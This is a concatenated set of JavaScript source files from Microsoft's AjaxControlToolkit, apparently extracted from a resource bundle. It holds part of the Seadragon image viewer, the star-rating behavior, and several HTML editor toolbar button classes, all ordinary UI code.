            return window.setTimeout(Function.createDelegate(this, updateFunc), 1);
        }

        // if no previous update, consider this an update
        var currentTime = new Date().getTime();
        var prevUpdateTime = prevUpdateTime ? prevUpdateTime : currentTime;
        var targetTime = prevUpdateTime + 1000 / 60;    // 60 fps ideal

        // calculate delta time to be a positive number
        var deltaTime = Math.max(1, targetTime - currentTime);
        return window.setTimeout(Function.createDelegate(this, updateFunc), deltaTime);
    },
    _updateMulti: function() {
        if (!this.source) {
            return;
        }

        var beginTime = new Date().getTime();

        this._updateOnce();
        this._scheduleUpdate(arguments.callee, beginTime);
    },
    _updateOnce: function() {
        if (!this.source) {
            return;
        }

        this.profiler.beginUpdate();

        var containerSize = Seadragon.Utils.getElementSize(this._container);

        if (!containerSize.equals(this._prevContainerSize)) {
            this.viewport.resize(containerSize, true); // maintain image position
            this._prevContainerSize = containerSize;
            this._raiseEvent("resize");
        }

        var animated = this.viewport.update();

        if (!this._animating && animated) {
            // we weren't animating, and now we did ==> animation start
            this._raiseEvent("animationstart");
            this._abortControlsAutoHide();
        }

        if (animated) {
            // viewport moved
            this.drawer.update();
            this._raiseEvent("animation");
        } else if (this._forceRedraw || this.drawer.needsUpdate()) {
            // need to load or blend images, etc.
            this.drawer.update();
            this._forceRedraw = false;
        } else {
            // no changes, so preload images, etc.
            this.drawer.idle();
        }

        if (this._animating && !animated) {
            // we were animating, and now we're not anymore ==> animation finish
            this._raiseEvent("animationfinish");

            // if the mouse has left the container, begin fading controls
            if (!this._mouseInside) {
                this._beginControlsAutoHide();
            }
        }

        this._animating = animated;

        this.profiler.endUpdate();
    },

    getNavControl: function() {
        return this._navControl;
    },
    get_xmlPath: function() {
        return this._xmlPath;
    },
    set_xmlPath: function(value) {
        this._xmlPath = value;
    },
    get_debugMode: function() {
        return this.config.debugMode;
    },
    set_debugMode: function(value) {
        this.config.debugMode = value;
    },
    get_animationTime: function() {
        return this.config.animationTime;
    },
    set_animationTime: function(value) {
        this.config.animationTime = value;
    },
    get_blendTime: function() {
        return this.config.blendTime;
    },
    set_blendTime: function(value) {
        this.config.blendTime = value;
    },
    get_alwaysBlend: function() {
        return this.config.alwaysBlend;
    },
    set_alwaysBlend: function(value) {
        this.config.alwaysBlend = value;
    },
    get_autoHideControls: function() {
        return this.config.autoHideControls;
    },
    set_autoHideControls: function(value) {
        this.config.autoHideControls = value;
    },
    get_immediateRender: function() {
        return this.config.immediateRender;
    },
    set_immediateRender: function(value) {
        this.config.immediateRender = value;
    },
    get_wrapHorizontal: function() {
        return this.config.wrapHorizontal;
    },
    set_wrapHorizontal: function(value) {
        this.config.wrapHorizontal = value;
    },
    get_wrapVertical: function() {
        return this.config.wrapVertical;
    },
    set_wrapVertical: function(value) {
        this.config.wrapVertical = value;
    },
    get_minZoomDimension: function() {
        return this.config.minZoomDimension;
    },
    set_minZoomDimension: function(value) {
        this.config.minZoomDimension = value;
    },
    get_maxZoomPixelRatio: function() {
        return this.config.maxZoomPixelRatio;
    },
    set_maxZoomPixelRatio: function(value) {
        this.config.maxZoomPixelRatio = value;
    },
    get_visibilityRatio: function() {
        return this.config.visibilityRatio;
    },
    set_visibilityRatio: function(value) {
        this.config.visibilityRatio = value;
    },
    get_springStiffness: function() {
        return this.config.springStiffness;
    },
    set_springStiffness: function(value) {
        this.config.springStiffness = value;
    },
    get_imageLoaderLimit: function() {
        return this.config.imageLoaderLimit;
    },
    set_imageLoaderLimit: function(value) {
        this.config.imageLoaderLimit = value;
    },
    get_clickTimeThreshold: function() {
        return this.config.clickTimeThreshold;
    },
    set_clickTimeThreshold: function(value) {
        this.config.clickTimeThreshold = value;
    },
    get_clickDistThreshold: function() {
        return this.config.clickDistThreshold;
    },
    set_clickDistThreshold: function(value) {
        this.config.clickDistThreshold = value;
    },
    get_zoomPerClick: function() {
        return this.config.zoomPerClick;
    },
    set_zoomPerClick: function(value) {
        this.config.zoomPerClick = value;
    },
    get_zoomPerSecond: function() {
        return this.config.zoomPerSecond;
    },
    set_zoomPerSecond: function(value) {
        this.config.zoomPerSecond = value;
    },
    get_maxImageCacheCount: function() {
        return this.config.maxImageCacheCount;
    },
    set_maxImageCacheCount: function(value) {
        this.config.maxImageCacheCount = value;
    },
    get_showNavigationControl: function() {
        return this.config.showNavigationControl;
    },
    set_showNavigationControl: function(value) {
        this.config.showNavigationControl = value;
    },
    get_minPixelRatio: function() {
        return this.config.minPixelRatio;
    },
    set_minPixelRatio: function(value) {
        this.config.minPixelRatio = value;
    },
    get_mouseNavEnabled: function() {
        return this.config.mouseNavEnabled;
    },
    set_mouseNavEnabled: function(value) {
        this.config.mouseNavEnabled = value;
    },
    get_controls: function() {
        return this._customControls;
    },
    set_controls: function(value) {
        this._customControls = value;
    },
    get_overlays: function() {
        return this._overlayControls;
    },
    set_overlays: function(value) {
        this._overlayControls = value;
    },
    get_prefixUrl: function() {
        return this._prefixUrl;
    },
    set_prefixUrl: function(value) {
        this._prefixUrl = value;
    },
    add_open: function(handler) {
        this.get_events().addHandler("open", handler);
    },
    remove_open: function(handler) {
        this.get_events().removeHandler("open", handler);
    },
    add_error: function(handler) {
        this.get_events().addHandler("error", handler);
    },
    remove_error: function(handler) {
        this.get_events().removeHandler("error", handler);
    },
    add_ignore: function(handler) {
        this.get_events().addHandler("ignore", handler);
    },
    remove_ignore: function(handler) {
        this.get_events().removeHandler("ignore", handler);
    },
    add_resize: function(handler) {
        this.get_events().addHandler("resize", handler);
    },
    remove_resize: function(handler) {
        this.get_events().removeHandler("resize", handler);
    },
    add_animationstart: function(handler) {
        this.get_events().addHandler("animationstart", handler);
    },
    remove_animationstart: function(handler) {
        this.get_events().removeHandler("animationstart", handler);
    },
    add_animationend: function(handler) {
        this.get_events().addHandler("animationend", handler);
    },
    remove_animationend: function(handler) {
        this.get_events().removeHandler("animationend", handler);
    },
    addControl: function(elmt, anchor) {
        var elmt = Seadragon.Utils.getElement(elmt);

        if (this._getControlIndex(elmt) >= 0) {
            return;     // they're trying to add a duplicate control
        }

        var div = null;

        switch (anchor) {
            case AjaxControlToolkit.Seadragon.ControlAnchor.TOP_RIGHT:
                div = this._controlsTR;
                elmt.style.position = "relative";
                break;
            case AjaxControlToolkit.Seadragon.ControlAnchor.BOTTOM_RIGHT:
                div = this._controlsBR;
                elmt.style.position = "relative";
                break;
            case AjaxControlToolkit.Seadragon.ControlAnchor.BOTTOM_LEFT:
                div = this._controlsBL;
                elmt.style.position = "relative";
                break;
            case AjaxControlToolkit.Seadragon.ControlAnchor.TOP_LEFT:
                div = this._controlsTL;
                elmt.style.position = "relative";
                break;
            case AjaxControlToolkit.Seadragon.ControlAnchor.NONE:
            default:
                div = this._container;
                elmt.style.position = "absolute";
                break;
        }

        this._controls.push(new AjaxControlToolkit.Seadragon.Control(elmt, anchor, div));
    },
    isOpen: function() {
        return !!this.source;
    },
    openDzi: function(xmlUrl, xmlString) {
        var currentTime = this._beforeOpen();
        AjaxControlToolkit.Seadragon.DziTileSourceHelper.createFromXml(xmlUrl, xmlString,
                    Seadragon.Utils.createCallback(null, Function.createDelegate(this, this._onOpen), currentTime));
    },
    openTileSource: function(tileSource) {
        var currentTime = beforeOpen();
        window.setTimeout(Function.createDelegate(this, function() {
            onOpen(currentTime, tileSource);
        }), 1);
    },
    close: function() {
        if (!this.source) {
            return;
        }

        this._onClose();
    },
    removeControl: function(elmt) {
        var elmt = Seadragon.Utils.getElement(elmt);
        var i = this._getControlIndex(elmt);

        if (i >= 0) {
            this._controls[i].destroy();
            this._controls.splice(i, 1);
        }
    },
    clearControls: function() {
        while (this._controls.length > 0) {
            this._controls.pop().destroy();
        }
    },
    isDashboardEnabled: function() {
        for (var i = this._controls.length - 1; i >= 0; i--) {
            if (this._controls[i].isVisible()) {
                return true;
            }
        }

        return false;
    },

    isFullPage: function() {
        return this._container.parentNode == document.body;
    },

    isMouseNavEnabled: function() {
        return this._innerTracker.isTracking();
    },

    isVisible: function() {
        return this._container.style.visibility != "hidden";
    },

    setDashboardEnabled: function(enabled) {
        for (var i = this._controls.length - 1; i >= 0; i--) {
            this._controls[i].setVisible(enabled);
        }
    },

    setFullPage: function(fullPage) {
        if (fullPage == this.isFullPage()) {
            return;
        }

        // copy locally to improve perf
        var body = document.body;
        var bodyStyle = body.style;
        var docStyle = document.documentElement.style;
        var containerStyle = this._container.style;
        var canvasStyle = this._canvas.style;

        if (fullPage) {
            // change overflow, but preserve what current values are
            bodyOverflow = bodyStyle.overflow;
            docOverflow = docStyle.overflow;
            bodyStyle.overflow = "hidden";
            docStyle.overflow = "hidden";

            // IE6 needs the body width/height to be 100% also
            bodyWidth = bodyStyle.width;
            bodyHeight = bodyStyle.height;
            bodyStyle.width = "100%";
            bodyStyle.height = "100%";

            // always show black background, etc., for fullpage
            canvasStyle.backgroundColor = "black";
            canvasStyle.color = "white";

            // make container attached to the window, immune to scrolling,
            // and above any other things with a z-index set.
            containerStyle.position = "fixed";
            containerStyle.zIndex = "99999999";

            body.appendChild(this._container);
            this._prevContainerSize = Seadragon.Utils.getWindowSize();

            this._onContainerEnter();     // mouse will be inside container now
        } else {
            // restore previous values for overflow
            bodyStyle.overflow = bodyOverflow;
            docStyle.overflow = docOverflow;

            // IE6 needed to overwrite the body width/height also
            bodyStyle.width = bodyWidth;
            bodyStyle.height = bodyHeight;

            // return to inheriting style
            canvasStyle.backgroundColor = "";
            canvasStyle.color = "";

            // make container be inline on page again, and auto z-index
            containerStyle.position = "relative";
            containerStyle.zIndex = "";

            this.get_element().appendChild(this._container);
            this._prevContainerSize = Seadragon.Utils.getElementSize(this.get_element());

            this._onContainerExit();      // mouse will likely be outside now
        }
        if (this.viewport) {
            var oldBounds = this.viewport.getBounds();
            this.viewport.resize(this._prevContainerSize);
            var newBounds = this.viewport.getBounds();

            if (fullPage) {
                // going to fullpage, remember how much bounds changed by.
                this._fsBoundsDelta = new AjaxControlToolkit.Seadragon.Point(newBounds.width / oldBounds.width,
                        newBounds.height / oldBounds.height);
            } else {
                // leaving fullpage, negate how much the fullpage zoomed by.
                // note that we have to negate the bigger of the two changes.
                // we have to zoom about the center of the new bounds, but
                // that's NOT the zoom point. so we have to manually update
                // first so that that center becomes the viewport center.
                this.viewport.update();
                this.viewport.zoomBy(Math.max(this._fsBoundsDelta.x, this._fsBoundsDelta.y),
                            null, true);
            }

            this._forceRedraw = true;
            this._raiseEvent("resize", this);
            this._updateOnce();
        }
    },

    setMouseNavEnabled: function(enabled) {
        this._innerTracker.setTracking(enabled);
    },

    setVisible: function(visible) {
        // important: don't explicitly say "visibility: visible", because
        // the W3C spec actually says children of hidden elements that have
        // "visibility: visible" should still be rendered. that's usually
        // not what we (or developers) want. browsers are inconsistent in
        // this regard, but IE seems to follow this spec.
        this._container.style.visibility = visible ? "" : "hidden";
    }

}
AjaxControlToolkit.Seadragon.Viewer.registerClass('AjaxControlToolkit.Seadragon.Viewer', Sys.UI.Control);
�N// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />


Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.RatingBehavior = function(element) {
    /// <summary>
    /// The RatingBehavior creates a sequence of stars used to rate an item
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">
    /// DOM element associated with the behavior
    /// </param>
    AjaxControlToolkit.RatingBehavior.initializeBase(this, [element]);
    this._starCssClass = null;
    this._filledStarCssClass = null;
    this._emptyStarCssClass = null;
    this._waitingStarCssClass = null;
    this._readOnly = false;
    this._ratingValue = 0;
    this._currentRating = 0;
    this._maxRatingValue = 5;
    this._tag = "";
    this._ratingDirection = 0;
    this._stars = null;
    this._callbackID = null;
    this._mouseOutHandler = Function.createDelegate(this, this._onMouseOut);
    this._starClickHandler = Function.createDelegate(this, this._onStarClick);
    this._starMouseOverHandler = Function.createDelegate(this, this._onStarMouseOver);
    this._keyDownHandler = Function.createDelegate(this, this._onKeyDownBack);
    this._autoPostBack = false;
}
AjaxControlToolkit.RatingBehavior.prototype = {
    initialize : function() {
        /// <summary>
        /// Initialize the behavior
        /// </summary>
        AjaxControlToolkit.RatingBehavior.callBaseMethod(this, 'initialize');
        var elt = this.get_element();
        this._stars = [];
        for (var i = 1; i <= this._maxRatingValue; i++) {
            starElement = $get(elt.id + '_Star_' + i);
            starElement.value = i;
            Array.add(this._stars, starElement);
            $addHandler(starElement, 'click', this._starClickHandler);
            $addHandler(starElement, 'mouseover', this._starMouseOverHandler);
        }
        $addHandler(elt, 'mouseout', this._mouseOutHandler);        
        $addHandler(elt, "keydown", this._keyDownHandler);
        this._update();        
    },
    
    dispose : function() {
        /// <summary>
        /// Dispose the behavior
        /// </summary>

        var elt = this.get_element();
        if (this._stars) {
            for (var i = 0; i < this._stars.length; i++) {
                var starElement = this._stars[i];
                $removeHandler(starElement, 'click', this._starClickHandler);
                $removeHandler(starElement, 'mouseover', this._starMouseOverHandler);
            }
            this._stars = null;
        }
        $removeHandler(elt, 'mouseout', this._mouseOutHandler);        
        $removeHandler(elt, "keydown", this._keyDownHandler);
        AjaxControlToolkit.RatingBehavior.callBaseMethod(this, 'dispose');
    },
    
    _onError : function(message, context) {
        /// <summary>
        /// Error handler for the callback
        /// </summary>
        /// <param name="message" type="String">
        /// Error message
        /// </param>
        /// <param name="context" type="Object">
        /// Context
        /// </param>
        alert(String.format(AjaxControlToolkit.Resources.Rating_CallbackError, message));
    },
    
    _receiveServerData : function(arg, context) {
        /// <summary>
        /// Handler for successful return from callback
        /// </summary>
        /// <param name="arg" type="Object">
        /// Argument
        /// </param>
        /// <param name="context" type="Object">
        /// Context
        /// </param>
        context._waitingMode(false);
        context.raiseEndClientCallback(arg);
    },
    
    _onMouseOut : function(e) {
        /// <summary>
        /// Handler for a star's mouseout event
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">
        /// Event info
        /// </param>

        if (this._readOnly) {
            return;
        }
        this._currentRating = this._ratingValue;
        this._update();
        this.raiseMouseOut(this._currentRating);
    },
    
    _onStarClick : function(e) {
        /// <summary>
        /// Handler for a star's click event
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">
        /// Event info
        /// </param>
        if (this._readOnly) {
            return;
        }
        if (this._ratingValue != this._currentRating) {
            this.set_Rating(this._currentRating);
        }
    },
    
    _onStarMouseOver : function(e) {
        /// <summary>
        /// Handler for a star's mouseover event
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">
        /// Event info
        /// </param>
        if (this._readOnly) {
            return;
        }
        if (this._ratingDirection == 0) {
            this._currentRating = e.target.value;
        } else {
            this._currentRating = this._maxRatingValue + 1 - e.target.value;
        }
        this._update();
        this.raiseMouseOver(this._currentRating);
    },
    
    
    _onKeyDownBack : function(ev){
        /// <summary>
        /// Handler for a star's keyDown event
        /// </summary>
        /// <param name="ev" type="Sys.UI.DomEvent">
        /// Event info
        /// </param>
        if (this._readOnly) {
            return;
        }
        var k = ev.keyCode ? ev.keyCode : ev.rawEvent.keyCode;
        if ( (k == Sys.UI.Key.right) || (k == Sys.UI.Key.up) ) {
            this._currentRating = Math.min(this._currentRating + 1, this._maxRatingValue);
            this.set_Rating(this._currentRating);
            ev.preventDefault();
            ev.stopPropagation();
        } else if ( (k == Sys.UI.Key.left) || (k == Sys.UI.Key.down) )  {
            this._currentRating = Math.max(this._currentRating - 1, 1);
            this.set_Rating(this._currentRating);
            ev.preventDefault();
            ev.stopPropagation();            
        }
    },
    
    _waitingMode : function(activated) {
        /// <summary>
        /// Update the display to indicate whether or not we are waiting
        /// </summary>
        /// <param name="activated" type="Boolean">
        /// Whether or not we are waiting
        /// </param>

        for (var i = 0; i < this._maxRatingValue; i++) {
            var starElement;
            if (this._ratingDirection == 0) {
                starElement = this._stars[i];
            } else {
                starElement = this._stars[this._maxRatingValue - i - 1];
            }
            if (this._currentRating > i) {
                if (activated)
                {
                    Sys.UI.DomElement.removeCssClass(starElement, this._filledStarCssClass);
                    Sys.UI.DomElement.addCssClass(starElement, this._waitingStarCssClass);
                } else {
                    Sys.UI.DomElement.removeCssClass(starElement, this._waitingStarCssClass);
                    Sys.UI.DomElement.addCssClass(starElement, this._filledStarCssClass);
                }
            } else {
                Sys.UI.DomElement.removeCssClass(starElement, this._waitingStarCssClass);
                Sys.UI.DomElement.removeCssClass(starElement, this._filledStarCssClass);
                Sys.UI.DomElement.addCssClass(starElement, this._emptyStarCssClass);
            }
        }
    },
    
    _update : function() {
        /// <summary>
        /// Update the display
        /// </summary>
        // Update title attribute element
        var elt = this.get_element();
        $get(elt.id + "_A").title = this._currentRating;
        
        for (var i = 0; i < this._maxRatingValue; i++) {
            var starElement;
            if (this._ratingDirection == 0) {
                starElement = this._stars[i];
            } else {
                starElement = this._stars[this._maxRatingValue - i - 1];
            }

            if (this._currentRating > i) {
                Sys.UI.DomElement.removeCssClass(starElement, this._emptyStarCssClass);
                Sys.UI.DomElement.addCssClass(starElement, this._filledStarCssClass);
            }
            else {
                Sys.UI.DomElement.removeCssClass(starElement, this._filledStarCssClass);
                Sys.UI.DomElement.addCssClass(starElement, this._emptyStarCssClass);
            }
        }
    },
    
    add_Rated : function(handler) {
        /// <summary>
        /// Add a handler to the rated event
        /// </summary>
        /// <param name="handler" type="Function">
        /// Handler
        /// </param>
        this.get_events().addHandler("Rated", handler);
    },
    remove_Rated : function(handler) {
        /// <summary>
        /// Remove a handler from the rated event
        /// </summary>
        /// <param name="handler" type="Function">
        /// Handler
        /// </param>
        this.get_events().removeHandler("Rated", handler);
    },
    raiseRated : function(rating) {
        /// <summary>
        /// Raise the rated event
        /// </summary>
        /// <param name="rating" type="Number" integer="true">
        /// Rating
        /// </param>
        var handler = this.get_events().getHandler("Rated");
        if (handler) {
            handler(this, new AjaxControlToolkit.RatingEventArgs(rating));
        }
    },
    
    add_MouseOver : function(handler) {
        /// <summary>
        /// Add a handler to the MouseMove event
        /// </summary>
        /// <param name="handler" type="Function">
        /// Handler
        /// </param>
        this.get_events().addHandler("MouseOver", handler);
    },
    remove_MouseOver : function(handler) {
        /// <summary>
        /// Remove a handler from the MouseOver event
        /// </summary>
        /// <param name="handler" type="Function">
        /// Handler
        /// </param>
        this.get_events().removeHandler("MouseOver", handler);
    },
    raiseMouseOver : function(rating_tmp) {
        /// <summary>
        /// Raise the MouseOver event
        /// </summary>
        /// <param name="eventArgs" type="">
        /// eventArgs
        /// </param>
        var handler = this.get_events().getHandler("MouseOver");
        if (handler) {
            handler(this, new AjaxControlToolkit.RatingEventArgs(rating_tmp));
        }
    },

    add_MouseOut : function(handler) {
        /// <summary>
        /// Add a handler to the MouseOut event
        /// </summary>
        /// <param name="handler" type="Function">
        /// Handler
        /// </param>
        this.get_events().addHandler("MouseOut", handler);
    },
    remove_MouseOut : function(handler) {
        /// <summary>
        /// Remove a handler from the MouseOut event
        /// </summary>
        /// <param name="handler" type="Function">
        /// Handler
        /// </param>
        this.get_events().removeHandler("MouseOut", handler);
    },
    raiseMouseOut : function(rating_old) {
        /// <summary>
        /// Raise the MouseOut event
        /// </summary>
        /// <param name="eventArgs" type="">
        /// eventArgs
        /// </param>
        var handler = this.get_events().getHandler("MouseOut");
        if (handler) {
            handler(this, new AjaxControlToolkit.RatingEventArgs(rating_old));
        }
    },
    
    add_EndClientCallback : function(handler) {
        /// <summary>
        /// Add a handler to the EndClientCallback event
        /// </summary>
        /// <param name="handler" type="Function">
        /// Handler
        /// </param>
        this.get_events().addHandler("EndClientCallback", handler);
    },
    remove_EndClientCallback : function(handler) {
        /// <summary>
        /// Remove a handler from the EndClientCallback event
        /// </summary>
        /// <param name="handler" type="Function">
        /// Handler
        /// </param>
        this.get_events().removeHandler("EndClientCallback", handler);
    },
    raiseEndClientCallback : function(result) {
        /// <summary>
        /// Raise the EndClientCallback event
        /// </summary>
        /// <param name="result" type="String">
        /// Callback result
        /// </param>
        var handler = this.get_events().getHandler("EndClientCallback");
        if (handler) {
            handler(this, new AjaxControlToolkit.RatingCallbackResultEventArgs(result));
        }
    },
    
    get_AutoPostBack : function() {
        return this._autoPostBack;
    },
    
    set_AutoPostBack : function(value) {
        this._autoPostBack = value;
    },

    get_Stars : function() {
        /// <value type="Array" elementType="Sys.UI.DomElement" elementDomElement="true">
        /// Elements for the displayed stars
        /// </value>
        return this._stars;    
    },
    
    get_Tag : function() {
        /// <value type="String">
        /// A custom parameter to pass to the ClientCallBack
        /// </value>
        return this._tag;
    },
    set_Tag : function(value) {
        if (this._tag != value) {
            this._tag = value;
            this.raisePropertyChanged('Tag');
        }
    },
    
    get_CallbackID : function() {
        /// <value type="String">
        /// ID of the ClientCallBack
        /// </value>
        return this._callbackID;
    },
    set_CallbackID : function(value) {
        this._callbackID = value;
    },
    
    get_RatingDirection : function() {
        /// <value type="Number" integer="true">
        /// RatingDirection - Orientation of the stars (LeftToRightTopToBottom or RightToLeftBottomToTop)
        /// </value>
        /// TODO: We should create an enum for this
        return this._ratingDirection;
    },
    set_RatingDirection : function(value) {
        if (this._ratingDirection != value) {
            this._ratingDirection = value;
            if (this.get_isInitialized()) {
                this._update();
            }
            this.raisePropertyChanged('RatingDirection');
        }
    },
    
    get_EmptyStarCssClass : function() {
        /// <value type="String">
        /// CSS class for a star in empty mode
        /// </value>
        return this._emptyStarCssClass;
    },
    set_EmptyStarCssClass : function(value) {
        if (this._emptyStarCssClass != value) {
            this._emptyStarCssClass = value;
            this.raisePropertyChanged('EmptyStarCssClass');
        }
    },
    
    get_FilledStarCssClass : function() {
        /// <value type="String">
        /// CSS class for star in filled mode
        /// </value>
        return this._filledStarCssClass;
    },
    set_FilledStarCssClass : function(value) {
        if (this._filledStarCssClass != value) {
            this._filledStarCssClass = value;
            this.raisePropertyChanged('FilledStarCssClass');
        }
    },
    
    get_WaitingStarCssClass : function() {
        /// <value type="String">
        /// CSS class for a star in waiting mode
        /// </value>
        return this._waitingStarCssClass;
    },
    set_WaitingStarCssClass : function(value) {
        if (this._waitingStarCssClass != value) {
            this._waitingStarCssClass = value;
            this.raisePropertyChanged('WaitingStarCssClass');
        }
    },
    
    get_Rating : function() {
        /// <value type="Number" integer="true">
        /// Current rating value
        /// </value>
        this._ratingValue = AjaxControlToolkit.RatingBehavior.callBaseMethod(this, 'get_ClientState');
        if (this._ratingValue == '') 
            this._ratingValue = null;
        return this._ratingValue;
    },
    set_Rating : function(value) {
        if (this._ratingValue != value) {
            this._ratingValue = value;
            this._currentRating = value;
            if (this.get_isInitialized()) {
                if ((value < 0) || (value > this._maxRatingValue)) {
                    return;                
                }

                this._update();
               
                AjaxControlToolkit.RatingBehavior.callBaseMethod(this, 'set_ClientState', [ this._ratingValue ]);
                this.raisePropertyChanged('Rating');
                this.raiseRated(this._currentRating);
                this._waitingMode(true);
               
                var args = this._currentRating + ";" + this._tag;
                var id = this._callbackID;
                
                if (this._autoPostBack) {                    
                    __doPostBack(id, args);
                }
                else {
                    WebForm_DoCallback(id, args, this._receiveServerData, this, this._onError, true)
                }               
                
            }
        }
    },

    get_MaxRating : function() {
        /// <value type="Number" integer="true">
        /// Maximum rating value
        /// </value>
        return this._maxRatingValue;
    },
    set_MaxRating : function(value) {
        if (this._maxRatingValue != value) {
            this._maxRatingValue = value;
            this.raisePropertyChanged('MaxRating');
        }
    },

    get_ReadOnly : function() {
        /// <value type="Boolean">
        /// Whether or not the rating can be changed
        /// </value>
        return this._readOnly;
    },
    set_ReadOnly : function(value) {
        if (this._readOnly != value) {
            this._readOnly = value;
            this.raisePropertyChanged('ReadOnly');
        }
    },
    
    get_StarCssClass : function() {
        /// <value type="String">
        /// CSS class for a visible star
        /// </value>
        return this._starCssClass;
    },
    set_StarCssClass : function(value) {
        if (this._starCssClass != value) {
            this._starCssClass = value;
            this.raisePropertyChanged('StarCssClass');
        }
    }
}
AjaxControlToolkit.RatingBehavior.registerClass('AjaxControlToolkit.RatingBehavior', AjaxControlToolkit.BehaviorBase);


AjaxControlToolkit.RatingEventArgs = function(rating) {
    /// <summary>
    /// Event arguments for the RatingBehavior's rated event
    /// </summary>
    /// <param name="rating" type="Number" integer="true">
    /// Rating
    /// </param>
    AjaxControlToolkit.RatingEventArgs.initializeBase(this);

    this._rating = rating;
}
AjaxControlToolkit.RatingEventArgs.prototype = {
    get_Rating : function() {
        /// <value type="Number" integer="true">
        /// Rating
        /// </value>
        return this._rating;
    }
}
AjaxControlToolkit.RatingEventArgs.registerClass('AjaxControlToolkit.RatingEventArgs', Sys.EventArgs);


AjaxControlToolkit.RatingCallbackResultEventArgs = function(result) {
    /// <summary>
    /// Event arguments for the RatingBehavior's EndClientCallback event
    /// </summary>
    /// <param name="result" type="Object">
    /// Callback result
    /// </param>
    AjaxControlToolkit.RatingCallbackResultEventArgs.initializeBase(this);

    this._result = result;
}
AjaxControlToolkit.RatingCallbackResultEventArgs.prototype = {
    get_CallbackResult : function() {
        /// <value type="Object">
        /// Callback result
        /// </value>
        return this._result;
    }
}
AjaxControlToolkit.RatingCallbackResultEventArgs.registerClass('AjaxControlToolkit.RatingCallbackResultEventArgs', Sys.EventArgs);
QType.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.PasteWord = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.PasteWord.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.PasteWord.prototype = {
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.PasteWord.callBaseMethod(this, "callMethod")) return false;
        var editor = this._designPanel;

        if(AjaxControlToolkit.HTMLEditor.isIE)
        {
            editor._saveContent();
            editor.openWait();
            setTimeout(function(){editor._paste(true,true); editor.closeWait();},0)
        }
        else
        {
            var sel   = editor._getSelection();
            var range = editor._createRange(sel);
            var useVerb = String.format(AjaxControlToolkit.Resources.HTMLEditor_toolbar_button_Use_verb, (AjaxControlToolkit.HTMLEditor.isSafari && navigator.userAgent.indexOf("mac") != -1)?"Apple-V":"Ctrl-V" );
            var mess = String.format(AjaxControlToolkit.Resources.HTMLEditor_toolbar_button_OnPasteFromMSWord, useVerb);

            alert(mess);

            setTimeout(function(){
                editor._removeAllRanges(sel);
                editor._selectRange(sel,range);
            },0);
            editor.isWord = true;
        }
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.PasteWord.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.PasteWord", AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyFull = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyFull.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyFull.prototype = {
    checkState : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyFull.callBaseMethod(this, "checkState")) return false;
        return this._designPanel._textAlignState("justify");
    },
    
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyFull.callBaseMethod(this, "callMethod")) return false;
        this._designPanel._execCommand("JustifyFull");
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyFull.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyFull", AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorSelector = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorSelector.initializeBase(this, [element]);
    
    this._fixedColorButton = null;
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorSelector.prototype = {

    get_fixedColorButton: function() {
        return this._fixedColorButton;
    },

    set_fixedColorButton: function(value) {
        this._fixedColorButton = value;
    },

    callMethod: function() {
        if (!AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorSelector.callBaseMethod(this, "callMethod")) return false;
//        var button = this;
//        setTimeout(function() { button.openPopup(Function.createDelegate(button, button._onopened)); }, 0);
        this.openPopup(Function.createDelegate(this, this._onopened));

        return true;
    },

    _onopened: function(contentWindow) {
        contentWindow.setColor = Function.createDelegate(this, this.setColor);
    },

    setColor: function(color) {
        this.closePopup();
        if (this._fixedColorButton != null) {
            this._fixedColorButton.set_defaultColor(color);
        }
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorSelector.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorSelector", AjaxControlToolkit.HTMLEditor.ToolbarButton.Selector);

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorSelector = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorSelector.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorSelector.prototype = {
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorSelector.callBaseMethod(this, "callMethod")) return false;
    },
    
    setColor : function(color) {
        AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorSelector.callBaseMethod(this, "setColor", [color]);
        this._designPanel._execCommand("backcolor", false, color);
    }
}

